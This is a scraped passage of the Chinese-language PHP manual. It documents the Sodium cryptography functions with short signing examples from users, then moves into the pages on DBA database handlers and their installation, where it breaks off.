  • Sodium 函数
  • Decrypt a chunk of data from an encrypted stream

sodium_crypto_secretstream_xchacha20poly1305_pull

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_pull — Decrypt a chunk of data from an encrypted stream

说明

sodium_crypto_secretstream_xchacha20poly1305_pull(string &$state, string $ciphertext, string $additional_data = ""): array|false

Decrypt a chunk of data from an encrypted stream.

参数

state

See sodium_crypto_secretstream_xchacha20poly1305_init_pull() and sodium_crypto_secretstream_xchacha20poly1305_init_push()

ciphertext

The ciphertext chunk to decrypt.

additional_data

Optional additional data to include in the authentication tag.

返回值

An array with two values:

  • string; The decrypted chunk

  • int; An optional tag (if provided during push). Possible values:

    • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE: the most common tag, that doesn't add any information about the nature of the message.
    • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL: indicates that the message marks the end of the stream, and erases the secret key used to encrypt the previous sequence.
    • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH: indicates that the message marks the end of a set of messages, but not the end of the stream. For example, a huge JSON string sent as multiple chunks can use this tag to indicate to the application that the string is complete and that it can be decoded. But the stream itself is not closed, and more data may follow.
    • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY: "forget" the key used to encrypt this message and the previous ones, and derive a new secret key.

User Contributed Notes

There are no user contributed notes for this page.


Encrypt a chunk of data so that it can safely be decrypted in a streaming API

  • ? sodium_crypto_secretstream_xchacha20poly1305_pull
  • sodium_crypto_secretstream_xchacha20poly1305_rekey ?
  • PHP Manual
  • Sodium 函数
  • Encrypt a chunk of data so that it can safely be decrypted in a streaming API

sodium_crypto_secretstream_xchacha20poly1305_push

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_push — Encrypt a chunk of data so that it can safely be decrypted in a streaming API

说明

sodium_crypto_secretstream_xchacha20poly1305_push(
string &$state,
string $message,
string $additional_data = "",
int $tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE
): string

Encrypt a chunk of data so that it can safely be decrypted in a streaming API.

参数

state

See sodium_crypto_secretstream_xchacha20poly1305_init_pull() and sodium_crypto_secretstream_xchacha20poly1305_init_push()

message

additional_data

tag

Optional. Can be used to assert decryption behavior (i.e. re-keying or indicating the final chunk in a stream).

  • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE: the most common tag, that doesn't add any information about the nature of the message.
  • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL: indicates that the message marks the end of the stream, and erases the secret key used to encrypt the previous sequence.
  • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH: indicates that the message marks the end of a set of messages, but not the end of the stream. For example, a huge JSON string sent as multiple chunks can use this tag to indicate to the application that the string is complete and that it can be decoded. But the stream itself is not closed, and more data may follow.
  • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY: "forget" the key used to encrypt this message and the previous ones, and derive a new secret key.

返回值

Returns the encrypted ciphertext.

User Contributed Notes

There are no user contributed notes for this page.


Explicitly rotate the key in the secretstream state

  • ? sodium_crypto_secretstream_xchacha20poly1305_push
  • sodium_crypto_shorthash_keygen ?
  • PHP Manual
  • Sodium 函数
  • Explicitly rotate the key in the secretstream state

sodium_crypto_secretstream_xchacha20poly1305_rekey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_rekey — Explicitly rotate the key in the secretstream state

说明

sodium_crypto_secretstream_xchacha20poly1305_rekey(string &$state): void

Explicitly rotate the key in the secretstream state. Overwrites the value passed in.

参数

state

Secretstream state.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes for key

  • ? sodium_crypto_secretstream_xchacha20poly1305_rekey
  • sodium_crypto_shorthash ?
  • PHP Manual
  • Sodium 函数
  • Get random bytes for key

sodium_crypto_shorthash_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_shorthash_keygen — Get random bytes for key

说明

sodium_crypto_shorthash_keygen(): string

Generate a key for use with sodium_crypto_shorthash().

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Compute a short hash of a message and key

  • ? sodium_crypto_shorthash_keygen
  • sodium_crypto_sign_detached ?
  • PHP Manual
  • Sodium 函数
  • Compute a short hash of a message and key

sodium_crypto_shorthash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_shorthash — Compute a short hash of a message and key

说明

sodium_crypto_shorthash(string $message, string $key): string

sodium_crypto_shorthash() wraps a hash function called SipHash-2-4, which is ideal for implementing hash tables that are not susceptible to hash collision denial of service attacks (Hash-DoS).

SipHash-2-4 isn't a general purpose cryptographic hash function.

参数

message

The message to hash.

key

The hash key.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Sign the message

  • ? sodium_crypto_shorthash
  • sodium_crypto_sign_ed25519_pk_to_curve25519 ?
  • PHP Manual
  • Sodium 函数
  • Sign the message

sodium_crypto_sign_detached

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_detached — Sign the message

说明

sodium_crypto_sign_detached(string $message, string $secret_key): string

Sign a message with a secret key, that can be verified by the corresponding public key. This function returns a detached signature.

参数

message

Message to sign.

secret_key

Secret key. See sodium_crypto_sign_secretkey()

返回值

Cryptographic signature.

User Contributed Notes

cb at dialogs dot com 12-May-2020 01:06
For those(like me) confused by sodium_crypto_sign() vs. sodium_crypto_sign_detached()

From the libsodium docs https://libsodium.gitbook.io/doc/public-key_cryptography/public-key_signatures

The crypto_sign() function prepends a signature to a message  "Combined mode"

In "detached mode" the signature is stored without attaching a copy of the original message to it.
craig at craigfrancis dot co dot uk 25-Aug-2018 07:33
Here's a quick example on how to use sodium_crypto_sign_detached(); where you have a message that you want to sign, so anyone with the public key can confirm that the message hasn't been tampered with.

This is similar to sodium_crypto_sign(), but the returned string does not contain the original message, it is just a signature.

<?php

// $sign_seed = random_bytes(SODIUM_CRYPTO_SIGN_SEEDBYTES);
// $sign_pair = sodium_crypto_sign_seed_keypair($sign_seed);

$sign_pair = sodium_crypto_sign_keypair();
$sign_secret = sodium_crypto_sign_secretkey($sign_pair);
$sign_public = sodium_crypto_sign_publickey($sign_pair);

//--------------------------------------------------
// Person 1, signing

$message = 'Hello';

$signature = sodium_crypto_sign_detached($message, $sign_secret);

//--------------------------------------------------
// Person 2, verifying

$message_valid = sodium_crypto_sign_verify_detached($signature, $message, $sign_public);

if (!$message_valid) {
    exit('Message has been changed.');
}

?>


Convert an Ed25519 public key to a Curve25519 public key

  • ? sodium_crypto_sign_detached
  • sodium_crypto_sign_ed25519_sk_to_curve25519 ?
  • PHP Manual
  • Sodium 函数
  • Convert an Ed25519 public key to a Curve25519 public key

sodium_crypto_sign_ed25519_pk_to_curve25519

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_ed25519_pk_to_curve25519 — Convert an Ed25519 public key to a Curve25519 public key

说明

sodium_crypto_sign_ed25519_pk_to_curve25519(string $public_key): string

Given an Ed25519 public key, calculate the birationally equivalent X25519 public key.

参数

public_key

Public key suitable for the crypto_sign functions.

返回值

Public key suitable for the crypto_box functions.

User Contributed Notes

There are no user contributed notes for this page.


Convert an Ed25519 secret key to a Curve25519 secret key

  • ? sodium_crypto_sign_ed25519_pk_to_curve25519
  • sodium_crypto_sign_keypair_from_secretkey_and_publickey ?
  • PHP Manual
  • Sodium 函数
  • Convert an Ed25519 secret key to a Curve25519 secret key

sodium_crypto_sign_ed25519_sk_to_curve25519

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_ed25519_sk_to_curve25519 — Convert an Ed25519 secret key to a Curve25519 secret key

说明

sodium_crypto_sign_ed25519_sk_to_curve25519(string $secret_key): string

Given an Ed25519 secret key, calculate the birationally equivalent X25519 secret key.

参数

secret_key

Secret key suitable for the crypto_sign functions.

返回值

Secret key suitable for the crypto_box functions.

User Contributed Notes

There are no user contributed notes for this page.


Join a secret key and public key together

  • ? sodium_crypto_sign_ed25519_sk_to_curve25519
  • sodium_crypto_sign_keypair ?
  • PHP Manual
  • Sodium 函数
  • Join a secret key and public key together

sodium_crypto_sign_keypair_from_secretkey_and_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_keypair_from_secretkey_and_publickey — Join a secret key and public key together

说明

sodium_crypto_sign_keypair_from_secretkey_and_publickey(string $secret_key, string $public_key): string

Join a secret key and public key together.

参数

secret_key

Ed25519 secret key

public_key

Ed25519 public key

返回值

Keypair

User Contributed Notes

There are no user contributed notes for this page.


Randomly generate a secret key and a corresponding public key

  • ? sodium_crypto_sign_keypair_from_secretkey_and_publickey
  • sodium_crypto_sign_open ?
  • PHP Manual
  • Sodium 函数
  • Randomly generate a secret key and a corresponding public key

sodium_crypto_sign_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_keypair — Randomly generate a secret key and a corresponding public key

说明

sodium_crypto_sign_keypair(): string

Generate a random Ed25519 keypair as one string.

参数

此函数没有参数。

返回值

Ed25519 keypair.

User Contributed Notes

There are no user contributed notes for this page.


Check that the signed message has a valid signature

  • ? sodium_crypto_sign_keypair
  • sodium_crypto_sign_publickey_from_secretkey ?
  • PHP Manual
  • Sodium 函数
  • Check that the signed message has a valid signature

sodium_crypto_sign_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_open — Check that the signed message has a valid signature

说明

sodium_crypto_sign_open(string $signed_message, string $public_key): string|false

Verify the signature attached to a message and return the message

参数

signed_message

A message signed with sodium_crypto_sign()

public_key

An Ed25519 public key

返回值

Returns the original signed message on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Extract the Ed25519 public key from the secret key

  • ? sodium_crypto_sign_open
  • sodium_crypto_sign_publickey ?
  • PHP Manual
  • Sodium 函数
  • Extract the Ed25519 public key from the secret key

sodium_crypto_sign_publickey_from_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_publickey_from_secretkey — Extract the Ed25519 public key from the secret key

说明

sodium_crypto_sign_publickey_from_secretkey(string $secret_key): string

Extract the Ed25519 public key from the secret key

参数

secret_key

Ed25519 secret key

返回值

Ed25519 public key

User Contributed Notes

There are no user contributed notes for this page.


Extract the Ed25519 public key from a keypair

  • ? sodium_crypto_sign_publickey_from_secretkey
  • sodium_crypto_sign_secretkey ?
  • PHP Manual
  • Sodium 函数
  • Extract the Ed25519 public key from a keypair

sodium_crypto_sign_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_publickey — Extract the Ed25519 public key from a keypair

说明

sodium_crypto_sign_publickey(string $key_pair): string

Extract the Ed25519 public key from a keypair

参数

key_pair

Ed25519 keypair (see: sodium_crypto_sign_keypair())

返回值

Ed25519 public key

User Contributed Notes

There are no user contributed notes for this page.


Extract the Ed25519 secret key from a keypair

  • ? sodium_crypto_sign_publickey
  • sodium_crypto_sign_seed_keypair ?
  • PHP Manual
  • Sodium 函数
  • Extract the Ed25519 secret key from a keypair

sodium_crypto_sign_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_secretkey — Extract the Ed25519 secret key from a keypair

说明

sodium_crypto_sign_secretkey(string $key_pair): string

Extract the Ed25519 secret key from a keypair

参数

key_pair

Ed25519 keypair (see: sodium_crypto_sign_keypair())

返回值

Ed25519 secret key

User Contributed Notes

There are no user contributed notes for this page.


Deterministically derive the key pair from a single key

  • ? sodium_crypto_sign_secretkey
  • sodium_crypto_sign_verify_detached ?
  • PHP Manual
  • Sodium 函数
  • Deterministically derive the key pair from a single key

sodium_crypto_sign_seed_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_seed_keypair — Deterministically derive the key pair from a single key

说明

sodium_crypto_sign_seed_keypair(string $seed): string

Clamps the seed to form a secret key, derives the public key, and returns the two as a keypair.

The *_seed_keypair functions are ideal for generating a keypair from a password and salt. Use the result as a seed to generate the desired keys.

参数

seed

Some cryptographic input. Must be 32 bytes.

返回值

Keypair (secret key and public key)

User Contributed Notes

There are no user contributed notes for this page.


Verify signature for the message

  • ? sodium_crypto_sign_seed_keypair
  • sodium_crypto_sign ?
  • PHP Manual
  • Sodium 函数
  • Verify signature for the message

sodium_crypto_sign_verify_detached

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_verify_detached — Verify signature for the message

说明

sodium_crypto_sign_verify_detached(string $signature, string $message, string $public_key): bool

Verify signature for the message

参数

signature

The cryptographic signature obtained from sodium_crypto_sign_detached()

message

The message being verified

public_key

Ed25519 public key

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

Anonymous 12-May-2020 11:50
<?php

$message = 'The quick brown fox jumped over the lazy dog.';

# Generate keypair
$keyPair = sodium_crypto_sign_keypair();

# Sign a message
$secKey = sodium_crypto_sign_secretkey($keyPair);
$signature = sodium_crypto_sign_detached($message, $secKey);

# Verify a message
$pubKey = sodium_crypto_sign_publickey($keyPair);
$verifyResult = sodium_crypto_sign_verify_detached($signature, $message, $pubKey);

var_dump($verifyResult); # true or false

?>


Sign a message

  • ? sodium_crypto_sign_verify_detached
  • sodium_crypto_stream_keygen ?
  • PHP Manual
  • Sodium 函数
  • Sign a message

sodium_crypto_sign

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign — Sign a message

说明

sodium_crypto_sign(string $message, string $secret_key): string

Sign a message with a secret key, that can be verified by the corresponding public key. This function attaches the signature to the message. See sodium_crypto_sign_detached() for detached signatures.

参数

message

Message to sign.

secret_key

Secret key. See sodium_crypto_sign_secretkey()

返回值

Signed message (not encrypted).

User Contributed Notes

craig at craigfrancis dot co dot uk 25-Aug-2018 07:34
Here's a quick example on how to use sodium_crypto_sign(); where you have a message that you want to sign, so anyone with the public key can confirm that the message hasn't been tampered with.

This is similar to sodium_crypto_sign_detached(), but the returned string contains the original message as well (in plain text, at the end, so anyone can read it).

<?php

// $sign_seed = random_bytes(SODIUM_CRYPTO_SIGN_SEEDBYTES);
// $sign_pair = sodium_crypto_sign_seed_keypair($sign_seed);

$sign_pair = sodium_crypto_sign_keypair();
$sign_secret = sodium_crypto_sign_secretkey($sign_pair);
$sign_public = sodium_crypto_sign_publickey($sign_pair);

//--------------------------------------------------
// Person 1, signing

$message = 'Hello';

$message_signed = sodium_crypto_sign($message, $sign_secret);

//--------------------------------------------------
// Person 2, verifying

$message = sodium_crypto_sign_open($message_signed, $sign_public);

echo $message . "\n";

?>


Generate a random sodium_crypto_stream key.

  • ? sodium_crypto_sign
  • sodium_crypto_stream_xchacha20_keygen ?
  • PHP Manual
  • Sodium 函数
  • Generate a random sodium_crypto_stream key.

sodium_crypto_stream_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_stream_keygen — Generate a random sodium_crypto_stream key.

说明

sodium_crypto_stream_keygen(): string

Generate a key for use with sodium_crypto_stream() and sodium_crypto_stream_xor().

参数

此函数没有参数。

返回值

Encryption key (256-bit).

User Contributed Notes

There are no user contributed notes for this page.


Returns a secure random key

  • ? sodium_crypto_stream_keygen
  • sodium_crypto_stream_xchacha20_xor_ic ?
  • PHP Manual
  • Sodium 函数
  • Returns a secure random key

sodium_crypto_stream_xchacha20_keygen

(PHP 8 >= 8.1.0)

sodium_crypto_stream_xchacha20_keygen — Returns a secure random key

说明

sodium_crypto_stream_xchacha20_keygen(): string

Returns a secure random key for use with sodium_crypto_stream_xchacha20().

参数

此函数没有参数。

返回值

Returns a 32-byte secure random key for use with sodium_crypto_stream_xchacha20().

User Contributed Notes

There are no user contributed notes for this page.


Encrypts a message using a nonce and a secret key (no authentication)

  • ? sodium_crypto_stream_xchacha20_keygen
  • sodium_crypto_stream_xchacha20_xor ?
  • PHP Manual
  • Sodium 函数
  • Encrypts a message using a nonce and a secret key (no authentication)

sodium_crypto_stream_xchacha20_xor_ic

(PHP 8 >= 8.2.0)

sodium_crypto_stream_xchacha20_xor_ic — Encrypts a message using a nonce and a secret key (no authentication)

说明

sodium_crypto_stream_xchacha20_xor_ic(
string $message,
string $nonce,
int $counter,
string $key
): string

The function is similar to sodium_crypto_stream_xchacha20_xor() but adds the ability to set the initial value of the block counter to a non-zero value. This permits direct access to any block without having to compute the previous ones.

Caution

This encryption is unauthenticated, and does not prevent chosen-ciphertext attacks. Make sure to combine the ciphertext with a Message Authentication Code, for example with sodium_crypto_aead_xchacha20poly1305_ietf_encrypt() function, or sodium_crypto_auth().

参数

message

The message to encrypt.

nonce

24-byte nonce.

counter

The initial value of the block counter.

key

Key, possibly generated from sodium_crypto_stream_xchacha20_keygen().

返回值

Encrypted message, 或者在失败时返回 false.

示例

Example #1 sodium_crypto_stream_xchacha20_xor_ic() example

<?php
$n2 = random_bytes(SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES);
$left = str_repeat("\x01", 64);
$right = str_repeat("\xfe", 64);

// All at once:
$stream7_unified = sodium_crypto_stream_xchacha20_xor($left . $right, $n2, $key);

// Piecewise, with initial counter:
$stream7_left = sodium_crypto_stream_xchacha20_xor_ic($left, $n2, 0, $key);
$stream7_right = sodium_crypto_stream_xchacha20_xor_ic($right, $n2, 1, $key);
$stream7_concat = $stream7_left . $stream7_right;

var_dump(strlen($stream7_concat));
var_dump($stream7_unified === $stream7_concat);
?>

以上示例的输出类似于：

int(128)
bool(true)

参见

  • sodium_crypto_stream_xchacha20_xor() - Encrypts a message using a nonce and a secret key (no authentication)

User Contributed Notes

There are no user contributed notes for this page.


Encrypts a message using a nonce and a secret key (no authentication)

  • ? sodium_crypto_stream_xchacha20_xor_ic
  • sodium_crypto_stream_xchacha20 ?
  • PHP Manual
  • Sodium 函数
  • Encrypts a message using a nonce and a secret key (no authentication)

sodium_crypto_stream_xchacha20_xor

(PHP 8 >= 8.1.0)

sodium_crypto_stream_xchacha20_xor — Encrypts a message using a nonce and a secret key (no authentication)

说明

sodium_crypto_stream_xchacha20_xor(string $message, string $nonce, string $key): string

Encrypts a message using a nonce and a secret key (no authentication).

Caution

This encryption is unauthenticated, and does not prevent chosen-ciphertext attacks. Make sure to combine the ciphertext with a Message Authentication Code, for example with sodium_crypto_aead_xchacha20poly1305_ietf_encrypt() function, or sodium_crypto_auth().

参数

message

The message to encrypt.

nonce

24-byte nonce.

key

Key, possibly generated from sodium_crypto_stream_xchacha20_keygen().

返回值

Encrypted message.

参见

  • sodium_crypto_stream_xchacha20_xor_ic() - Encrypts a message using a nonce and a secret key (no authentication)

User Contributed Notes

There are no user contributed notes for this page.


Expands the key and nonce into a keystream of pseudorandom bytes

  • ? sodium_crypto_stream_xchacha20_xor
  • sodium_crypto_stream_xor ?
  • PHP Manual
  • Sodium 函数
  • Expands the key and nonce into a keystream of pseudorandom bytes

sodium_crypto_stream_xchacha20

(PHP 8 >= 8.1.0)

sodium_crypto_stream_xchacha20 — Expands the key and nonce into a keystream of pseudorandom bytes

说明

sodium_crypto_stream_xchacha20(int $length, string $nonce, string $key): string

Expands the key and nonce into a keystream of pseudorandom bytes.

参数

length

Number of bytes desired.

nonce

24-byte nonce.

key

Key, possibly generated from sodium_crypto_stream_xchacha20_keygen().

返回值

Returns a pseudorandom stream that can be used with sodium_crypto_stream_xchacha20_xor().

User Contributed Notes

There are no user contributed notes for this page.


Encrypt a message without authentication

  • ? sodium_crypto_stream_xchacha20
  • sodium_crypto_stream ?
  • PHP Manual
  • Sodium 函数
  • Encrypt a message without authentication

sodium_crypto_stream_xor

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_stream_xor — Encrypt a message without authentication

说明

sodium_crypto_stream_xor(string $message, string $nonce, string $key): string

This function encrypts a message with XSalsa20, but does not provide any ciphertext guarantees about the plaintext.

参数

message

The message to encrypt

nonce

A number that must be only used once, per message. 24 bytes long. This is a large enough bound to generate randomly (i.e. random_bytes()).

key

Encryption key (256-bit).

返回值

Encrypted message.

User Contributed Notes

There are no user contributed notes for this page.


Generate a deterministic sequence of bytes from a seed

  • ? sodium_crypto_stream_xor
  • sodium_hex2bin ?
  • PHP Manual
  • Sodium 函数
  • Generate a deterministic sequence of bytes from a seed

sodium_crypto_stream

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_stream — Generate a deterministic sequence of bytes from a seed

说明

sodium_crypto_stream(int $length, string $nonce, string $key): string

Generate a deterministic sequence of bytes from a seed, using the XSalsa20 stream cipher.

参数

length

The number of bytes to return.

nonce

A number that must be only used once, per message. 24 bytes long. This is a large enough bound to generate randomly (i.e. random_bytes()).

key

Encryption key (256-bit).

返回值

String of pseudorandom bytes.

User Contributed Notes

There are no user contributed notes for this page.


Decodes a hexadecimally encoded binary string

  • ? sodium_crypto_stream
  • sodium_increment ?
  • PHP Manual
  • Sodium 函数
  • Decodes a hexadecimally encoded binary string

sodium_hex2bin

(PHP 7 >= 7.2.0, PHP 8)

sodium_hex2bin — Decodes a hexadecimally encoded binary string

说明

sodium_hex2bin(string $string, string $ignore = ""): string

Decodes a hexadecimally encoded binary string.

Like sodium_bin2hex(), sodium_hex2bin() is resistant to side-channel attacks while hex2bin() is not.

参数

string

Hexadecimal representation of data.

ignore

Optional string argument for characters to ignore.

返回值

Returns the binary representation of the given string data.

User Contributed Notes

There are no user contributed notes for this page.


Increment large number

  • ? sodium_hex2bin
  • sodium_memcmp ?
  • PHP Manual
  • Sodium 函数
  • Increment large number

sodium_increment

(PHP 7 >= 7.2.0, PHP 8)

sodium_increment — Increment large number

说明

sodium_increment(string &$string): void

Treat the string as a little-endian unsigned integer, then increase it by 1. Constant-time.

参数

string

String to increment.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Test for equality in constant-time

  • ? sodium_increment
  • sodium_memzero ?
  • PHP Manual
  • Sodium 函数
  • Test for equality in constant-time

sodium_memcmp

(PHP 7 >= 7.2.0, PHP 8)

sodium_memcmp — Test for equality in constant-time

说明

sodium_memcmp(string $string1, string $string2): int

Compare two strings in constant-time.

In practice, you almost always want to use hash_equals() instead, since it provides the same logic but returns a bool instead of an int. However, if you're using the return value of a comparison in a calculation that's timing-sensitive, and worried about timing leaks with bool-to-int conversions, sodium_memcmp() is an ideal replacement.

参数

string1

String to compare

string2

Other string to compare

返回值

Returns 0 if both strings are equal; -1 otherwise.

User Contributed Notes

divinity76 at gmail dot com 15-Sep-2019 07:17
seems to me that this function does the same as the hash_equals() function. hash_equals() has nothing to do with hashes really, it is just a constant-time string equality check function, apparently like sodium_memcmp()


Overwrite a string with NUL characters

  • ? sodium_memcmp
  • sodium_pad ?
  • PHP Manual
  • Sodium 函数
  • Overwrite a string with NUL characters

sodium_memzero

(PHP 7 >= 7.2.0, PHP 8)

sodium_memzero — Overwrite a string with NUL characters

说明

sodium_memzero(string &$string): void

sodium_memzero() zeroes out the string that is passed by reference.

参数

string

String.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Add padding data

  • ? sodium_memzero
  • sodium_unpad ?
  • PHP Manual
  • Sodium 函数
  • Add padding data

sodium_pad

(PHP 7 >= 7.2.0, PHP 8)

sodium_pad — Add padding data

说明

sodium_pad(string $string, int $block_size): string

Right-pad a string to a desired length. Timing-safe.

参数

string

Unpadded string.

block_size

The string will be padded until it is an even multiple of the block size.

返回值

Padded string.

User Contributed Notes

There are no user contributed notes for this page.


Remove padding data

  • ? sodium_pad
  • SodiumException ?
  • PHP Manual
  • Sodium 函数
  • Remove padding data

sodium_unpad

(PHP 7 >= 7.2.0, PHP 8)

sodium_unpad — Remove padding data

说明

sodium_unpad(string $string, int $block_size): string

Unpad a padded string. Timing-safe.

参数

string

Padded string.

block_size

The block size for padding.

返回值

Unpadded string.

User Contributed Notes

There are no user contributed notes for this page.


The SodiumException class

(PHP 7 >= 7.2.0, PHP 8)

简介

Exceptions thrown by the sodium functions.

类摘要

class SodiumException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


数据库扩展

  • 数据库抽象层
    • DBA — Database (dbm-style) Abstraction Layer
    • ODBC — ODBC (Unified)
    • PDO — PHP 数据对象
  • 针对各数据库系统对应的扩展
    • CUBRID
    • dBase
    • Firebird/InterBase
    • IBM DB2 — IBM DB2, Cloudscape and Apache Derby
    • MongoDB — MongoDB driver
    • MySQL — MySQL Drivers and Plugins
    • OCI8 — Oracle OCI8
    • PostgreSQL
    • SQLite3
    • SQLSRV — Microsoft SQL Server Driver for PHP

User Contributed Notes

There are no user contributed notes for this page.


数据库抽象层

  • DBA — Database (dbm-style) Abstraction Layer
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • DBA 函数
  • ODBC — ODBC (Unified)
    • 简介
    • 安装/配置
    • 预定义常量
    • ODBC 函数
  • PDO — PHP 数据对象
    • 简介
    • 安装/配置
    • 预定义常量
    • 连接与连接管理
    • 事务与自动提交
    • 预处理语句与存储过程
    • 错误与错误处理
    • 大对象 (LOB)
    • PDO — PDO 类
    • PDOStatement — PDOStatement 类
    • PDOException — PDOException 异常类
    • PDO 驱动

User Contributed Notes

There are no user contributed notes for this page.


Database (dbm-style) Abstraction Layer

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Basic usage
  • DBA 函数
    • dba_close — Close a DBA database
    • dba_delete — Delete DBA entry specified by key
    • dba_exists — Check whether key exists
    • dba_fetch — Fetch data specified by key
    • dba_firstkey — Fetch first key
    • dba_handlers — List all the handlers available
    • dba_insert — Insert entry
    • dba_key_split — Splits a key in string representation into array representation
    • dba_list — List all open database files
    • dba_nextkey — Fetch next key
    • dba_open — Open database
    • dba_optimize — Optimize database
    • dba_popen — Open database persistently
    • dba_replace — Replace or insert entry
    • dba_sync — Synchronize database

User Contributed Notes

There are no user contributed notes for this page.


简介

These functions build the foundation for accessing Berkeley DB style databases.

This is a general abstraction layer for several file-based databases. As such, functionality is limited to a common subset of features supported by modern databases such as » Oracle Berkeley DB.

User Contributed Notes

There are no user contributed notes for this page.


需求

The behaviour of various aspects depends on the implementation of the underlying database. Functions such as dba_optimize() and dba_sync() will do what they promise for one database and will do nothing for others. You have to download and install supported dba-Handlers.

List of DBA handlers
Handler | Notes
dbm | Dbm is the oldest (original) type of Berkeley DB style databases. You should avoid it, if possible. We do not support the compatibility functions built into DB2 and gdbm, because they are only compatible on the source code level, but cannot handle the original dbm format.
ndbm | Ndbm is a newer type and more flexible than dbm. It still has most of the arbitrary limits of dbm (therefore it is deprecated).
gdbm | Gdbm is the » GNU database manager.
db2 | DB2 is for » Oracle Berkeley DB 2. It is described as "a programmatic toolkit that provides high-performance built-in database support for both standalone and client/server applications."
db3 | DB3 is for » Oracle Berkeley DB 3.
db4 | DB4 is for » Oracle Berkeley DB 4 or 5. This option can be used with BDB 5 as of PHP 5.3.3.
cdb | Cdb is "a fast, reliable, lightweight package for creating and reading constant databases." It is from the author of qmail and can be found at » http://cr.yp.to/cdb.html. Since it is constant, we support only reading operations. We support writing (not updating) through the internal cdb library.
cdb_make | We support creation (not updating) of cdb files when the bundled cdb library is used.
flatfile | This is available for compatibility with the deprecated dbm extension only and should be avoided. However you may use this where files were created in this format. That happens when configure could not find any external library.
inifile | This is available to be able to modify php.ini files from within PHP scripts. When working with ini files you can pass arrays of the form array(0=>group,1=>value_name) or strings of the form "[group]value_name" where group is optional. As the functions dba_firstkey() and dba_nextkey() return string representations of the key there is the function dba_key_split() which allows to convert the string keys into array keys without loosing false.
qdbm | The qdbm library can be downloaded from » http://fallabs.com/qdbm/index.html.
tcadb | The Tokyo Cabinet library can be downloaded from » http://fallabs.com/tokyocabinet/.
lmdb | This is available since PHP 7.2.0. The Lightning Memory-Mapped Database library can be downloaded from » https://symas.com/lmdb/.

When invoking the dba_open() or dba_popen() functions, one of the handler names must be supplied as an argument. The actually available list of handlers is displayed by invoking phpinfo() or dba_handlers().

User Contributed Notes

There are no user contributed notes for this page.


安装

By using the --enable-dba=shared configuration option you can build a dynamic loadable module to enable PHP for basic support of dbm-style databases. You also have to add support for at least one of the following handlers by specifying the --with-XXXX or --enable-XXXX configure switch to your PHP configure line.

Warning

After configuring and compiling PHP you must execute the following test from commandline: php run-tests.php ext/dba. This shows whether your combination of handlers works. Most problematic are dbm and ndbm which conflict with many installations. The reason for this is that on several systems these libraries are part of more than one other library. The configuration test only prevents you from configuring malfunctioning single handlers but not combinations.

Supported DBA handlers
Handler | Configure Switch
dbm

To enable support for dbm add --with-dbm[=DIR].

Note:

dbm normally is a wrapper which often results in failures. This means you should only use dbm if you are sure it works and if you really need this format.

ndbm

To enable support for ndbm add --with-ndbm[=DIR].

Note:

ndbm normally is a wrapper which often results in failures. This means you should only use ndbm if you are sure it works and if you really need this format.

gdbm | To enable support for gdbm add --with-gdbm[=DIR].
db2

To enable support for Oracle Berkeley DB 2 add --with-db2[=DIR].

Note:

db2 conflicts with db3 and db4.

db3

To enable support for Oracle Berkeley DB 3 add --with-db3[=DIR].

Note:

db3 conflicts with db2 and db4.

db4

To enable support for Oracle Berkeley DB 4 or 5 add --with-db4[=DIR].

Note:

